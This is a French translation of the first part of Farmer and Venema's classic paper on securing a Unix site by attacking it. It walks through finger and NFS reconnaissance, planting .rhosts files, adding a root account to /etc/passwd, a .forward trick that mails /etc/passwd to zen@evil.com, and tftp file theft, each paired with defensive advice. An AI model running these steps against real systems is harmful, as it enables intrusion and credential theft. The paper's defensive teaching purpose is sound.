Améliorer la sécurité

de votre site informatique

en le piratant



 
 
 
Dan Farmer Wietse Venema
Sun Microsystems Université de Technologie de Eindhoven
zen@sun.com mailto:wietse@wzv.win.tue.nl
Traduit de l’américain par Antoine Tissier Titre original : Improving the Security of Your Site by Breaking Into It

 

Introduction

Chaque jour, partout dans le monde, des réseaux informatiques et des serveurs sont piratés. Le degré de sophistication de ces attaques est très variable ; si l’idée que la plupart de ces effractions est due à des mots de passes faibles est très répandue, un grand nombre d’effractions utilise des techniques bien plus avancées. Ce dernier type d’effraction est bien moins connu, car plus difficile à détecter.
 
 

CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. Leurs sites informatiques ont tous étés piratés. Tout ce qu’il y a sur Internet (et beaucoup de ce qui n’y est pas) semble être des cibles relativement faciles. Que s’est il donc passé ?

Transition …

Un jeune garçon, aux cheveux blonds et gras, assis dans une salle obscure. La salle est illuminée par la luminosité de l’écran d’un vieux C64. Prenant une nouvelle longue bouffée de ses cigarettes " Benson and Hedges ", le cracker fatigué se connecte au suivant site militaire anonyme de sa liste de cibles. Les tentatives " guest – guest " , " root – root ", et " system – manager " ont toutes échouées. Ce n’est rien. Il a toute la nuit … il raye le serveur de sa liste, et fatigué, tente une connexion avec la victime potentielle suivante …

Cela semble être la vision populaire d’un cracker de système informatique. Jeune, sans expérience, et ayant à sa disposition une quantité considérable de temps à consacrer, pour entrer juste dans un autre système. Toutefois, il existe un type de cracker largement plus dangereux. Un cracker qui connaît les tout derniers outils d’évaluation et de destruction de la sécurité, qui peut les personnaliser à sa guise pour ses propres attaques, et qui peut écrire ses propres programmes. Un cracker qui ne se contente pas de lire les dernières failles en matière de sécurité, mais qui découvre aussi lui-même des bogues et des vulnérabilités. Une créature mortelle qui peut tout à la fois frapper mortellement de son venin, et effacer ses traces sans un bruit ou piste éventuelle. C’est là qu’intervient est le uebercracker.
 
 

Pourquoi " uebercracker " ? L’idée a évidemment été empruntée au uebermensch de Nietzsche ou traduit littéralement en français, "surhomme ". Nietzsche a utilisé ce terme non pour faire allusion à une BD superman, mais plutôt à un homme qui est allé au-delà de l’incompétence, de l’insignifiance et de la faiblesse de l’homme de tous les jours. L’uebercracker est donc le cracker qui a dépassé les simples recettes de piratages. Un uebercracker n’est pas simplement motivé pour exécuter arbitrairement des actes de violence. Les cibles ne sont pas choisies au hasard – il y a un but, un gain personnel d’argent, la recherche d’informations ou le défi de frapper un site important ou très célèbre. Un uebercracker est difficile à détecter, très difficile à arrêter, et encore plus difficile à l ‘empêcher d’entrer dans votre site pour de bon.
 
 

Vue d’ensemble

Dans cet article, nous prendrons une inhabituelle approche de la sécurité informatique. Plutôt que de simplement avertir l’existence d’une faille, nous nous mettrons à la place d’un intrus potentiel, qui exploite cette faille. Nous montrerons que même les services réseaux apparemment insignifiants peuvent devenir des outils de grande valeur dans la recherche de points faibles d’un système même s’ils agissent de la manière qu’ils sont supposés suivre.

Dans l’effort d’éclaircir les techniques avancées d’intrusion, cet article souligne les différents mécanismes que les crackers ont finalement utilisé pour obtenir l’accès à des systèmes, et, aussi, des techniques que soit nous supposons être utilisé par des intrus, soit que nous avons utilisé nous même dans des tests ou dans des environnements amicaux et autorisés.

Ce qui nous motive pour écrire cet article, c’est que les administrateurs système sont bien souvent ignorants des dangers présentés par tout ce qu’il peut y avoir derrière la plus insignifiante des attaques. Alors qu’il est largement connu que le niveau protection adéquat dépend de ce qu’il y a à protéger, beaucoup de sites semblent ne pas pouvoir estimer le niveau de sécurité adéquate du serveur et du réseau. En montrant que les intrus peuvent obtenir l’accès à un site distant, nous essayons d’aider les administrateurs systèmes à faire des décisions éclairées sur la manière de sécuriser leur site. Nous nous limiterons aux techniques qui peuvent donner un accès distant à un shell sur un serveur UNIX. Une fois cela, les détails pour obtenir les privilèges de root ne seront pas abordés – nous les considérons comme trop dépendante du site, et bien souvent, sans importance.

Nous voulons souligner que nous ne nous contenterons pas de faire une liste de bogues et de failles de sécurité – il y en aura toujours de nouvelles à exploiter pour un attaquant potentiel. L’objet de cet article est d’essayer d’amener le lecteur à regarder son site d’un œil différent – un œil qui lui permettra comment la sécurité de son système peut être déjouée.

Nous aimerions aussi rappeler au lecteur que l’objet de cet article est de vous montrer comment tester la sécurité de votre propre site, et non comment s’introduire de manière illicite dans les systèmes des autres. Les techniques d’intrusion que nous illustrons laisserons dans biens des cas, des traces sur le fichier d’audit des connections – il peut être constructif de les examiner après certaines de ces attaques, pour voir à quoi ressemblerait une réelle attaque. Certainement d’autres sites et administrateurs systèmes auront une très mauvaise opinion de vos activités si vous décider d’utiliser leurs serveurs pour tester leur sécurité sans autorisation spéciale ; aussi il est possible qu’une procédure légale soit engagée contre vous s’ils le perçoivent comme une attaque.

L’article se divise en quatre parties. La première partie est l’introduction. La seconde tente de donner au lecteur le nécessaire pour détecter un intrus et comment est-il possible de compromettre la sécurité d’un site en n’ayant que très peu de renseignements à l’origine. Cette section traite des techniques actuelles pour obtenir des informations et un accès à un système, et des stratégies de base tels qu’exploiter la confiance et abuser de la mauvaise configuration des services réseaux (ftp, mail, tftp, etc.). Des sujets plus avancées seront également abordés tels que NIS et NFS, aussi bien que des bugs et problèmes de configurations qui sont davantage spécifiques au système et à l’OS. Les stratégies de défenses contre chacune de ces attaques y sont également traitées.

La troisième section aborde le thème de la confiance : comment la sécurité d’un système dépend de l’intégrité d’autres systèmes. La confiance est le sujet le plus complexe abordé dans cet article, et par soucis de concision nous nous limiterons à l’usurpation d’identité.

La quatrième section aborde les premières étapes qu’un administrateur système devrait suivre protéger son système. La plupart des méthodes présentées ici sont très répandues, mais sont bien souvent inappliquées – l’un de nos objectifs est de montrer comment il peut être dangereux d’ignorer les règles basiques de sécurité.

Des études de cas, références à des informations relatives à la sécurité, et logiciels sont décris dans les appendices à la fin de l’article.

En explorant les méthodes et stratégies abordées dans cet article, nous avons écrit SATAN (Security Analysis Tool for Auditing Networks). Ecrit en shell, Perl, et en C, il examine un ou plusieurs serveur(s) distant(s) et rassemble un maximum d’informations en utilisant NIS, finger, NFS, ftp et tftp, rexd et d’autres services. Ces données incluent aussi bien la présence de nombreux services d’informations que la présence éventuelle de failles dans la sécurité – souvent sous la forme de configuration incorrecte des services réseaux, de bogues bien connus des utilitaires systèmes et réseaux ou de mauvaises décisions en matière de politique de sécurité. Le scanner rapporte alors les informations ou utilisé un système expert pour enquêter davantage sur les problèmes potentiels de sécurité. Alors que SATAN n’utilise aucune des techniques décrites dans cet article, il a réussi avec grande régularité à trouver des sérieuses failles dans la sécurité de sites Internet. Une fois complété, il sera mis à disposition du public via ftp ; l’appendice A révèle ses traits caractéristiques.

Notez qu’il est impossible de couvrir l’ensemble des techniques d’intrusion en un seul article. En effet, deux méthodes des plus efficaces pour s’introduire sur un serveur ne seront pas traitées : le social engineering et le perçage de mot de passe. La dernière de ces méthodes est très efficace, au tel point que plusieurs des stratégies abordées ici ont pour objectif l’acquisition du fichier de mot de passes. De plus, alors que les systèmes à environnement graphiques (X, OpenWindows, etc …) peuvent être des sources fertiles à exploiter, nous ne connaissons pas beaucoup de méthodes utilisées pour s’introduire sur des systèmes distants. Beaucoup de crackers utilise des terminaux non graphiques qui peuvent les empêcher d’utiliser certaines des méthodes les plus intéressantes pour les systèmes fenêtrés efficacement (alors que pouvoir surveiller le clavier de la victime est souvent suffisant pour s’emparer d’un mot de passe). Finalement, alors que les vers, les virus, les chevaux de Troie, et autres outils sataniques sont très intéressants, ils ne sont pas commun (sur les systèmes Unix) et utiliseront probablement des techniques similaires à celles décrites plus loin dans l’article comme partie de leur stratégie d’attaque.

Obtenir de l’information

Supposons que vous êtes l’administrateur système du réseaux de station de travail Unix de la société Victime. Dans le but de sécuriser vos machines, vous demandez à un ami administrateur système d’un site voisin (evil.com) de vous donner un compte sur une de leur machine de manière à ce que vous pouvez observer la sécurité de votre système de l’extérieur.

Que devez-vous faire ? Tout d’abord, essayez de glaner des informations concernant votre serveur cible. Il y a un grand nombre de services à essayer : finger, showmount, et rpcinfo sont de bons points de départs. Mais ne vous arrêtez pas là – vous devriez également essayez DNS, whois, sendmail(smtp), ftp, uucp, et tous les services que vous pourrez trouver. Il y a tellement de méthodes que pour des raisons d’espaces nous ne pouvons toutes les présenter, mais nous essayerons de vous montrer une sélection des plus courantes et/ou dangereuses stratégies que nous avons vues ou imaginées. Si vous le pouvez, vous devez essayer de collecter de telles informations sur le sous-réseaux ou la zone d’attaque – l’information fait la force – mais pour l’instant nous allons uniquement examiner notre cible.

Commencer par regarder ce que renvoie la commande finger (supposez que nous sommes le 6 novembre 1993 à 18h) :

victim% finger @victim.com

[victim.com] 


Login Name TTY Idle When Where
zen Dr. Fubar Co 1d Wed 08 :00 death.com
Bien ! Un seul utilisateur – il y a de fortes chances pour que personne ne remarque que vous avez réussi à vous introduire.

Maintenant, essayez d’autres tactiques. Comme chacun des utilisateurs de finger sait, faire un finger sur " @ ", " 0 ", et " " , aussi bien que sur des noms courants tels que root, bin, ftp, system, guest, demo, manager, etc., peut révéler des informations intéressantes. La nature des informations dépends de la version de finger lancée par le serveur, mais les plus intéressantes sont le nom des comptes, et leurs répertoires et le serveur d’où ils se sont connecté.

Pour obtenir les informations à propos des dernières personnes qui se sont connectées, vous pouvez utilisez la commande ruser (en particulier avec l’option –l).

Essayer ces commandes sur victim.com révèle les informations suivantes, présentées dans ce tableau (raccourci pour économiser de l’espace) :
 
Login Home-dir Shell Last login, from where
root / /bin/sh Fri Nov 07 :42 on ttyp1 from big.victim.com
bin /bin   Never logged in
nobody /   Tue Jun 15 08 :57 on ttyp2 from server.victim.com
daemon /   Tue Mar 23 12 :14 on ttyp0 from big.victim.com
sync / /bin/sync Tue Mar 23 12 :14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05 :33 on ttyp3 from evil.com
guest /home/foo /bin/sh Never logged in
ftp /home/ftp   Never logged in

Nos expériences sur le logiciel SATAN et l’observation de cracker en action nous ont prouvé que finger est l’un des services les plus dangereux, parce qu’il est très utilisé pour examiner une cible potentielle. Toutefois, beaucoup de ces informations ne sont utiles que si utilisées en conjonction avec d’autres données.

Par exemple, lancer showmount sur la cible donne :

evil% showmount –e victim.com

export list for victim.com
 
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy

Notez que /export/foo est partagé à tout le monde ; notez aussi que c’est le répertoire par défaut du compte guest. L’heure de votre première intrusion a maintenant sonné ! Dans cet exemple, vous allez monter le répertoire par défaut du compte guest. Comme vous n’avez pas de compte correspondant sur votre machine locale, et que le root ne peut modifier des fichiers sur un système de fichiers NFS montés, vous allez créer un compte guest dans votre fichier local de mot de passe. En tant qu’utilisateur guest vous pouvez placer un .rhosts sur le répertoire par défaut du compte guest distant, ce qui va vous permettre de vous connecter sur la machine cible sans pour autant devoir fournir un mot de passe.

evil # mount victim.com:/export/foo /foo

evil # cd /foo

evil # ls –lag

total 3
 
1 drwxr-xr-x 11 root daemon 512 Jun 19 09 :47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15 :49 guest

evil # echo guest :x :10001 :1 :compte temporaire:/ :>>/etc/passwd

evil # ls – lag

total 3
 
1 drwxr-xr-x 11 root daemon 512 Jun 19 09 :47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15 :49 guest

evil # su guest

evil % echo victim.com >> guest/.rhosts

evil % rlogin victim.com

Welcome to victim.com !

victim%

Si, à la place d’un répertoire par défaut, victim.com exportait un répertoire contenant des commandes utilisateurs (comme /usr ou /usr/local/bin), vous pourriez remplacer une commande par un cheval de Troie qui exécute la commande de votre choix. L’utilisateur suivant qui utilisera cette commande lancera votre programme.

Nous suggérons que ces systèmes de fichiers doivent être exportés :

Si la cible a un caractère " + " dans son /etc/hosts.equiv (la valeur par défaut chez de nombreux vendeurs de machines) ou a le bug du groupe réseaux (conseil du CERT 91 :12), n’importe quel utilisateur non-root dont le nom se trouve dans le fichier de password de la cible peut utiliser rlogin vers la cible sans password. Et comme le compte bin détient souvent des fichiers et répertoires clé, votre prochaine attaque est d’essayer de vous connecter sur le serveur cible et de modifier le fichier de password pour avoir l’accès root :

evil % whoami

bin

evil % rsh victim.com csh –i

Warning : no access to tty ; thus no job control in this shell …

victim % ls –ldg /etc

drwxr-sr-x 8 bin staff 2048 Jul 24 18 :02 /etc

victim % cd /etc

victim % mv passwd pw.old

victim % (echo toor : :0 :1 : compte de root temporaire:/:/bin/sh ; cat pw.old ) > passwd

victim % ^D

evil % rlogin victim.com –l toor

Welcome to victim.com

victim #

Remarque à propos de la méthode utilisée ci-dessus ; la commande " rsh victim.com csh –i " est utilisée au début pour rentrer dans le système parce qu’elle ne laisse aucune trace dans les fichiers de journalisation wtmp ou utmp, ce qui rend le rsh invisible depuis finger et who. Le shell distant n’est pas attaché à un pseudo-terminal, de cette façon, des programmes graphiques comme un pageur ou un éditeur ne vont pas marcher – mais cela est très pratique pour des explorations brèves.

Le logiciel d’audit de sécurité COPS (voir appendice D) vous donnera le nom des fichiers et répertoires clés qui sont accessible en écriture depuis des comptes autre que celui de superuser. Si vous utiliser SunOS 4.x vous pouvez utiliser le patch 100103 pour enlever la majorité des problèmes de permission de fichier. Sur bien des systèmes, l’exploration par rsh montrée précédemment, même quand la commande réussi, ne sera pas totalement transparente ; la couche TCP (voir appendice D), qui reçoit les connections entrantes, peut aider à mettre en évidence de telles activités.
 
 

Et maintenant ? Avez-vous découvert toutes les failles sur le système cible ? Non, et de loin. Revenons sur les résultats de la commande finger sur la cible, vous remarquerez qu’il y a un compte ftp, ce qui signifie en général que le ftp anonyme est mis. Le ftp anonyme peut être un moyen facile d’obtenir un accès, car il est souvent mal configuré. Par exemple, la cible peut avoir une copie intégrale de son fichier de mot de passe dans le répertoire du ftp anonyme ~ftp/etc et non une version simplifiée. Dans cette exemple, vous verrez que cette dernière proposition ne semble pas être vraie (mais comment en être sûr sans avoir examiné le fichier ?). Cependant, le répertoire de ftp de victim.com est inscriptible. Cela vous permet d’exécuter à distance – dans le cas présent, envoyer le fichier de mots de passe à vous – tout simplement en créant en fichier .forward qui exécute une commande quand un mail est envoyé au compte ftp. C’est le même mécanisme que relier la messagerie à un programme dont le programme d’évacuation utilise pour répondre automatiquement au courrier électronique.

evil % cat message_de_retour

"/bin/mail zen@evil.com < /etc/passwd "

evil % ftp victime.com

Connected to victim.com

220 victim FTP server ready.

Name (victim.com :zen) : ftp

331 Guest login ok, send ident as password.

Password :

230 Guest login ok, access restrictions apply.

ftp> ls –lga

200 PORT command successful.

150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes)

total 5
 
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub

226 ASCII Transfer complete.

242 bytes received in 0.066 seconds (3,6 Kbytes /s)

ftp> put message_de_retour .forward

43 bytes send in 0.0015 seconds (28 Kbytes /s)

ftp>quit

evil % echo test | mail ftp@victim.com

Maintenant il suffit d’attendre que le fichier de mots de passe vous soient envoyé.

L’outil d’audit de sécurité COPS vérifiera la qualité de l’installation de votre ftp anonyme, regardez la page man pour ftpd, la documentation et le code pour COPS, ou le conseil du CERT 93 :10 pour vous renseignez sur la façon de configurer le ftp anonyme correctement.

Les vulnérabilités sous ftp sont souvent une question de propriété incorrecte ou de permissions anormales sur les répertoires ou fichiers clés. Au minimum, vérifier que le répertoire ~ftp est possédé par le root et n’est pas inscriptible par n’importe quel utilisateur.

En regardant ftp, vous pouvez vérifier un vieux bogue qui a été autrefois largement exploité :

% ftp –n

ftp> open victim.com

Connected to victim.com

220 victim.com FTP server ready.

ftp> quote user ftp

331 Guest login ok, send ident as password.

ftp> quote cwd ~root

530 Please login with USER and PASS.

ftp> quote pass ftp

230 Guest login ok, access restrictions apply.

ftp> ls –al / (ou tout autre chose)

Si cela marche, vous êtes maintenant connecté en tant que root, et capable de modifier le fichier de mots de passe, ou tout ce que vous voulez. Si votre système présente ce bogue, vous devez mettre à jour votre démon ftp, soit par votre vendeur ou (par ftp anonyme) par le moyen de ftp://ftp.uu.net/.

Wuarchive ftpd, un substitut populaire du démon ftp, mise à disposition par l’Université de Washington à Saint Louis, a le même problème. Si votre version wuarchive ftpd date d’avant le 8 avril 1993, vous devez la remplacer par une version plus récente.

Enfin, il y a un programme vaguement similaire à ftp – tftp, le programme simplifié de transfert de fichier. Ce démon ne demande aucun mot de passe pour l’authentification ; si un serveur permet des connections tftp sans aucun restriction d’accès (habituellement par configuration de certaines options dans le fichier inetd.conf), un attaquant peut lire écrire des fichiers dans l’ensemble du système. Dans l’exemple suivant, vous prélevez le fichier de mots de passe à distance et le placez dans le répertoire /tmp de votre système :

evil % tftp

tftp> connect victim.com

tftp>get /etc/passwd /tmp/passwd.victim

tftp>quit

Dans l’intérêt de votre sécurité, tftp ne doit pas être utilisé ; si tftp est nécessaire, configurez la sécurité de manière à ce que l’accès soit restreint à un répertoire qui ne présente pas d’information sensible, ou utilisez le sous contrôle d’un " chroot wrapper program ".
 
 

Fin de la première partie